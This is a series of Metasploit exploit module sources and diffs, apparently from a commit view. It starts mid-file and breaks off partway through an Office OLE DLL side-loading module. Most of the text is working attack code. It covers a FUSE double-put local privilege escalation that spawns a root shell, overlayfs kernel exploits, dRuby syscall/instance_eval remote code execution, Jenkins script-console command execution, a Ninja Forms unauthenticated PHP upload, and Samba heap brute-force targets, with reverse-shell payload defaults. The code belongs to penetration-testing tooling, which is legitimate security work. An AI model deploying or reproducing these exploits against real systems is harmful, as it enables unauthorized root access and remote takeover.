fputs("woohoo, got pointer reuse\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
int main(void) {
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0)
make_setuid();
struct stat helperstat;
while (1) {
if (stat("suidhelper", &helperstat))
err(1, "stat suidhelper");
if (helperstat.st_mode & S_ISUID)
break;
sleep(1);
}
fputs("suid file detected, launching rootshell...\n", stderr);
execl("./suidhelper", "suidhelper", NULL);
err(1, "execl suidhelper");
}
}
suid_helper = %q{
#include <unistd.h>
#include <err.h>
#include <stdio.h>
#include <sys/types.h>
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
}
hello = %q{
/*
FUSE: Filesystem in Userspace
Copyright (C) 2001-2007 Miklos Szeredi <miklos@szeredi.hu>
heavily modified by Jann Horn <jannh@google.com>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
*/
#define FUSE_USE_VERSION 26
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <err.h>
#include <sys/uio.h>
static const char *hello_path = "/hello";
static char data_state[sizeof(struct iovec)];
static int hello_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {
stbuf->st_mode = S_IFREG | 0666;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(data_state);
stbuf->st_blocks = 0;
} else
res = -ENOENT;
return res;
}
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);
return 0;
}
static int hello_open(const char *path, struct fuse_file_info *fi) {
return 0;
}
static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
sleep(10);
size_t len = sizeof(data_state);
if (offset < len) {
if (offset + size > len)
size = len - offset;
memcpy(buf, data_state + offset, size);
} else
size = 0;
return size;
}
static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
if (offset != 0)
errx(1, "got write with nonzero offset");
if (size != sizeof(data_state))
errx(1, "got write with size %d", (int)size);
memcpy(data_state + offset, buf, size);
return size;
}
static struct fuse_operations hello_oper = {
.getattr = hello_getattr,
.readdir = hello_readdir,
.open = hello_open,
.read = hello_read,
.write = hello_write,
};
int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &hello_oper, NULL);
}
}
hello_filename = 'hello'
hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
doubleput_file = "#{datastore['WritableDir']}/doubleput"
suidhelper_filename = 'suidhelper'
suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
payload_filename = rand_text_alpha(8)
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def has_prereqs?()
def check_libfuse_dev?()
lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
if lib.include?('install')
vprint_good('libfuse-dev is installed')
return true
else
print_error('libfuse-dev is not installed. Compiling will fail.')
return false
end
end
def check_gcc?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
return true
else
print_error('gcc is not installed. Compiling will fail.')
return false
end
end
def check_pkgconfig?()
lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
if lib.include?('install')
vprint_good('pkg-config is installed')
return true
else
print_error('pkg-config is not installed. Exploitation will fail.')
return false
end
end
return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if compile == false
# doubleput file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
fd = ::File.open( path, "rb")
doubleput = fd.read(fd.stat.size)
fd.close
# hello file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
fd = ::File.open( path, "rb")
hello = fd.read(fd.stat.size)
fd.close
# suidhelper file
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
fd = ::File.open( path, "rb")
suid_helper = fd.read(fd.stat.size)
fd.close
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'AyDJSaMM'
payload_path = '/tmp/AyDJSaMM'
end
# make our substitutions so things are dynamic
suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
"return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
'exit(0);')
print_status('Writing files to target')
cmd_exec("cd #{datastore['WritableDir']}")
upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
upload_and_compile('payload', payload_path, generate_payload_exe)
print_status('Starting execution of priv esc. This may take about 120 seconds')
cmd_exec(doubleput_file)
sec_waited = 0
until sec_waited > datastore['MAXWAIT'] do
Rex.sleep(1)
# check file permissions
if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
print_good('got root, starting payload')
print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
cmd_exec("#{suidhelper_path}")
return
end
sec_waited +=1
end
end
def on_new_session(session)
# if we don't /bin/bash here, our payload times out
# [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
# [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died
session.shell_command_token('/bin/bash')
super
end
end

View File

@ -0,0 +1,293 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Overlayfs Privilege Escalation',
'Description' => %q{
This module attempts to exploit two different CVEs related to overlayfs.
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
3.16.0-25 (14.10 default) < 3.16.0-41
3.19.0-18 (15.04 default) < 3.19.0-21
CVE-2015-8660:
Ubuntu:
3.19.0-18 < 3.19.0-43
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
Fedora:
< 4.2.8 (vulnerable, un-tested)
Red Hat:
< 3.10.0-327 (rhel 6, vulnerable, un-tested)
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # Module
'rebel' # Discovery
],
'DisclosureDate' => 'Jun 16 2015',
'Platform' => [ 'linux'],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'CVE-2015-1328', { } ],
[ 'CVE-2015-8660', { } ]
],
'DefaultTarget' => 1,
'DefaultOptions' =>
{
'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
},
'References' =>
[
[ 'EDB', '39166'], # CVE-2015-8660
[ 'EDB', '37292'], # CVE-2015-1328
[ 'CVE', '2015-1328'],
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
], self.class)
end
def check
def mounts_exist?()
vprint_status('Checking if mount points exist')
if target.name == 'CVE-2015-1328'
if not directory?('/tmp/ns_sploit')
vprint_good('/tmp/ns_sploit not created')
return true
else
print_error('/tmp/ns_sploit directory exists. Please delete.')
return false
end
elsif target.name == 'CVE-2015-8660'
if not directory?('/tmp/haxhax')
vprint_good('/tmp/haxhax not created')
return true
else
print_error('/tmp/haxhax directory exists. Please delete.')
return false
end
end
end
def kernel_vuln?()
os_id = cmd_exec('grep ^ID= /etc/os-release')
case os_id
when 'ID=ubuntu'
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
case kernel.release.to_s
when '3.13.0'
if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.16.0'
if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '3.19.0'
if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
return true
elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
when '4.2.0'
if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
return true
else
print_error("Kernel #{kernel} is NOT vulnerable")
return false
end
else
print_error("Non-vuln kernel #{kernel}")
return false
end
when 'ID=fedora'
kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
# => "4.0.4-301"
if kernel.release < Gem::Version.new('4.2.8')
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
return true
else
print_error("Non-vuln kernel #{kernel}")
return false
end
else
print_error("Unknown OS: #{os_id}")
return false
end
end
if mounts_exist?() && kernel_vuln?()
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
filename = rand_text_alphanumeric(8)
executable_path = "#{datastore['WritableDir']}/#{filename}"
payloadname = rand_text_alphanumeric(8)
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
def has_prereqs?()
gcc = cmd_exec('which gcc')
if gcc.include?('gcc')
vprint_good('gcc is installed')
else
print_error('gcc is not installed. Compiling will fail.')
end
return gcc.include?('gcc')
end
compile = false
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
if has_prereqs?()
compile = true
vprint_status('Live compiling exploit on system')
else
vprint_status('Dropping pre-compiled exploit on system')
end
end
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
end
def upload_and_chmod(fname, fcontent, cleanup=true)
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
rm_f fname
write_file(fname, fcontent)
cmd_exec("chmod +x #{fname}")
if cleanup
register_file_for_cleanup(fname)
end
end
def on_new_session(session)
super
if target.name == 'CVE-2015-1328'
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
# we cleanup here instead of earlier since we needed the /bin/su in our new session
session.shell_command('rm -f /etc/ld.so.preload')
session.shell_command('rm -f /tmp/ofs-lib.so')
end
end
if compile
begin
if target.name == 'CVE-2015-1328'
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
# pulled out from 1328.c's LIB define
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
else
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
end
rescue
compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries
end
end
if compile
if target.name == 'CVE-2015-1328'
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
upload_and_chmod("#{ofs_path}.c", ofs_lib)
cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
register_file_for_cleanup("#{ofs_path}.c")
else
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
"os.execl('#{payload_path}','#{payloadname}')")
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
end
vprint_status("Compiling #{executable_path}.c")
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
register_file_for_cleanup(executable_path)
else
if target.name == 'CVE-2015-1328'
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
fd = ::File.open( path, "rb")
cve_2015_1328 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_1328)
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
fd = ::File.open( path, "rb")
ofs_lib = fd.read(fd.stat.size)
fd.close
ofs_path = "#{datastore['WritableDir']}/ofs-lib"
# dont auto cleanup or else it happens too quickly and we never escalate ourprivs
upload_and_chmod("#{ofs_path}.so", ofs_lib, false)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = 'lXqzVpYN'
payload_path = '/tmp/lXqzVpYN'
else
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
fd = ::File.open( path, "rb")
cve_2015_8660 = fd.read(fd.stat.size)
fd.close
upload_and_chmod(executable_path, cve_2015_8660)
# overwrite with the hardcoded variable names in the compiled versions
payload_filename = '1H0qLaq2'
payload_path = '/tmp/1H0qLaq2'
end
end
upload_and_chmod(payload_path, generate_payload_exe)
vprint_status('Exploiting...')
output = cmd_exec(executable_path)
output.each_line { |line| vprint_status(line.chomp) }
end
end

View File

@ -66,6 +66,24 @@ class MetasploitModule < Msf::Exploit::Local
@executable_path
end
def check
# version can be nil
version = cmd_exec('pkexec --version').split.last
# version can be a string, so we check it
if version.nil? || !Gem::Version.correct?(version)
vprint_error('pkexec not found or version incorrect')
return CheckCode::Unknown
end
if Gem::Version.new(version) <= Gem::Version.new('0.101')
vprint_good("pkexec #{version} found")
return CheckCode::Appears
end
CheckCode::Detected
end
def exploit
main = %q^
/*

View File

@ -7,33 +7,39 @@ require 'msf/core'
require 'drb/drb'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution',
'Description' => %q{
This module exploits remote code execution vulnerabilities in dRuby
This module exploits remote code execution vulnerabilities in dRuby.
If the dRuby application sets $SAFE = 1, the instance_eval target will fail.
In this event, the syscall target is preferred. This can be set with target 1.
},
'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #(Phenoelit)
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ],
[ 'URL', 'http://blog.recurity-labs.com/archives/2011/05/12/druby_for_penetration_testers/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
},
'Space' => 32768,
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'Targets' => [
['instance_eval', {}],
['syscall', {}]
],
'DisclosureDate' => 'Mar 23 2011',
'DefaultTarget' => 0))
@ -51,19 +57,37 @@ class MetasploitModule < Msf::Exploit::Remote
class << p
undef :send
end
case target.name
when 'instance_eval'
print_status('Trying to exploit instance_eval')
exploit_instance_eval(p)
when 'syscall'
print_status('Trying to exploit syscall')
exploit_syscall(p)
end
end
def exploit_instance_eval(p)
begin
print_status('trying to exploit instance_eval')
p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }")
rescue SecurityError
print_error('instance_eval failed due to security error')
rescue DRb::DRbConnError
print_error('instance_eval failed due to connection error')
end
end
rescue SecurityError => e
print_status('instance eval failed, trying to exploit syscall')
filename = "." + Rex::Text.rand_text_alphanumeric(16)
def exploit_syscall(p)
filename = "." + Rex::Text.rand_text_alphanumeric(16)
begin
begin
print_status('Attempting 32-bit exploitation')
# syscall to decide wether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
j = p.send(:syscall,20)
p.send(:syscall,20)
# syscall open
i = p.send(:syscall,8,filename,0700)
# syscall write
@ -75,13 +99,9 @@ class MetasploitModule < Msf::Exploit::Remote
# syscall execve
p.send(:syscall,11,filename,0,0)
# not vulnerable
rescue SecurityError => e
print_status('target is not vulnerable')
# likely 64bit system
rescue => e
rescue Errno::EBADF
print_status('Target is a 64-bit system')
# syscall creat
i = p.send(:syscall,85,filename,0700)
# syscall write
@ -93,9 +113,17 @@ class MetasploitModule < Msf::Exploit::Remote
# syscall execve
p.send(:syscall,59,filename,0,0)
end
# not vulnerable
rescue SecurityError
print_error('syscall failed due to security error')
return
rescue DRb::DRbConnError
print_error('syscall failed due to connection error')
return
end
print_status("payload executed from file #{filename}") unless filename.nil?
print_status("make sure to remove that file") unless filename.nil?
handler(nil)
register_files_for_cleanup(filename)
end
end

View File

@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
# NRPE uses unauthenticated Anonymous-Diffie-Hellman
# setting the global SSL => true will break as we would be overlaying
# an SSLSocket on another SSLSocket which hasnt completed its handshake
@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
self.sock = super(global, opts)
if datastore['NRPESSL'] or @force_ssl
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
ctx.ciphers = "ADH"

View File

@ -168,6 +168,20 @@ class MetasploitModule < Msf::Exploit::Remote
}
],
['Linux Heap Brute Force (OpenWRT MIPS)',
{
'Platform' => 'linux',
'Arch' => [ ARCH_MIPSBE ],
'Nops' => 64*1024,
'Bruteforce' =>
{
'Start' => { 'Ret' => 0x55900000 },
'Stop' => { 'Ret' => 0x559c0000 },
'Step' => 60*1024,
}
}
],
['DEBUG',
{
'Platform' => 'linux',
@ -267,7 +281,7 @@ class MetasploitModule < Msf::Exploit::Remote
talloc_magic = "\x70\xec\x14\xe8"
# second talloc_chunk header
buf << 'A' * 8 # next, prev
buf << NDR.long(0) + NDR.long(0) # next, prev
buf << NDR.long(0) + NDR.long(0) # parent, child
buf << NDR.long(0) # refs
buf << [target_addrs['Ret']].pack('V') # destructor

View File

@ -78,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote
def http_send_command(cmd, opts = {})
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "script"),
'uri' => normalize_uri(@uri.path, 'script'),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
}
request_parameters['cookie'] = @cookie if @cookie != nil
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
res = send_request_cgi(request_parameters)
if not (res and res.code == 200)
fail_with(Failure::Unknown, 'Failed to execute the command.')
@ -159,8 +159,8 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})
@ -177,9 +177,12 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('No authentication required, skipping login...')
end
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
print_status("Using CSRF token: '#{$1}'")
@crumb = $1
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (.crumb style)")
@crumb = {:name => '.crumb', :value => $1}
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
end
case target['Platform']

View File

@ -312,7 +312,7 @@ class MetasploitModule < Msf::Exploit::Remote
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: datastore['HttpPassword'].downcase,
private_data: datastore['HttpPassword'],
username: datastore['HttpUsername']
}

View File

@ -0,0 +1,176 @@
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
'Description' => %(
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
an unauthenticated file upload vulnerability, allowing guests
to upload arbitrary PHP code that can be executed in the context
of the web server.
),
'License' => MSF_LICENSE,
'Author' =>
[
'James Golovich', # Discovery and disclosure
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'References' =>
[
['CVE', '2016-1209'],
['WPVDB', '8485'],
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
],
'DisclosureDate' => 'May 04 2016',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['ninja-forms', {}]],
'DefaultTarget' => 0
))
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
register_options(opts, self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def check
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
end
def enable_v3_functionality
print_status 'Enabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'upgrade' }
)
unless res && res.code == 200
if res
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
else
fail_with(Failure::Unreachable, 'Connection timed out.')
end
end
vprint_good 'Enabled V3 functionality'
end
def disable_v3_functionality
print_status 'Disabling vulnerable V3 functionality...'
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path,
'vars_get' => { 'nf-switcher' => 'rollback' }
)
if res && res.code == 200
vprint_good 'Disabled V3 functionality'
elsif !res
print_error('Connection timed out while disabling V3 functionality')
else
print_error 'Failed to disable the vulnerable V3 functionality'
end
end
def generate_mime_message(payload_name, nonce)
data = Rex::MIME::Message.new
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
data.add_part(nonce, nil, nil, 'form-data; name="security"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
data
end
def fetch_ninja_form_nonce
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
end
form_wpnonce = res.get_hidden_inputs.first
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
unless nonce
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
end
nonce
end
def upload_payload(data)
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
vprint_error("Server responded with status code #{res.code}") if res.code != 200
end
def execute_payload(payload_name, payload_url)
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
if !res.nil? && res.code == 404
print_error("Failed to upload the payload")
else
print_good("Executed payload")
end
end
def exploit
# Vulnerable code is only available in the version 3 preview mode, which can be
# enabled by unauthenticated users due to lack of user level validation.
enable_v3_functionality
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
# page that contains a form generated by Ninja Forms.
nonce = fetch_ninja_form_nonce
print_status("Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
data = generate_mime_message(payload_name, nonce)
print_status("Uploading payload to #{payload_url}")
upload_payload(data)
print_status("Executing the payload...")
execute_payload(payload_name, payload_url)
# Once the payload has been executed, we can disable the preview functionality again.
disable_v3_functionality
end
end

View File

@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Module::Deprecated
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
def initialize(info = {})
super(update_info(

View File

@ -0,0 +1,280 @@
require 'zip'
require 'base64'
require 'msf/core'
require 'rex/ole'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Office OLE Multiple DLL Side Loading Vulnerabilities',
'Description' => %q{
Multiple DLL side loading vulnerabilities were found in various COM components.
These issues can be exploited by loading various these components as an embedded
OLE object. When instantiating a vulnerable object Windows will try to load one
or more DLLs from the current working directory. If an attacker convinces the
victim to open a specially crafted (Office) document from a directory also
containing the attacker's DLL file, it is possible to execute arbitrary code with
the privileges of the target user. This can potentially result in the attacker
taking complete control of the affected system.
},
'Author' => 'Yorick Koster',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-6132'],
['CVE', '2015-6128'],
['CVE', '2015-6133'],
['CVE', '2016-0041'],
['CVE', '2016-0100'],
['CVE', '2016-3235'],
['MSB', 'MS15-132'],
['MSB', 'MS16-014'],
['MSB', 'MS16-025'],
['MSB', 'MS16-041'],
['MSB', 'MS16-070'],
['URL', 'https://securify.nl/advisory/SFY20150801/com__services_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150805/event_viewer_snapin_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150803/windows_authentication_ui_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151102/shutdown_ux_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150802/shockwave_flash_object_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150806/ole_db_provider_for_oracle_multiple_dll_side_loading_vulnerabilities.html'],
['URL', 'https://securify.nl/advisory/SFY20150905/nps_datastore_server_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150906/bda_mpeg2_transport_information_filter_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20151101/mapsupdatetask_task_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150904/windows_mail_find_people_dll_side_loading_vulnerability.html'],
['URL', 'https://securify.nl/advisory/SFY20150804/microsoft_visio_multiple_dll_side_loading_vulnerabilities.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/exec',
'CMD' => 'C:\\Windows\\System32\\calc.exe',
},
'Payload' => { 'Space' => 2048, },
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Targets' =>
[
[ 'All', {} ],
[
'COM+ Services / Windows Vista - 10 / Office 2007 - 2016 (MS15-132)',
{
'DLL' => 'mqrt.dll',
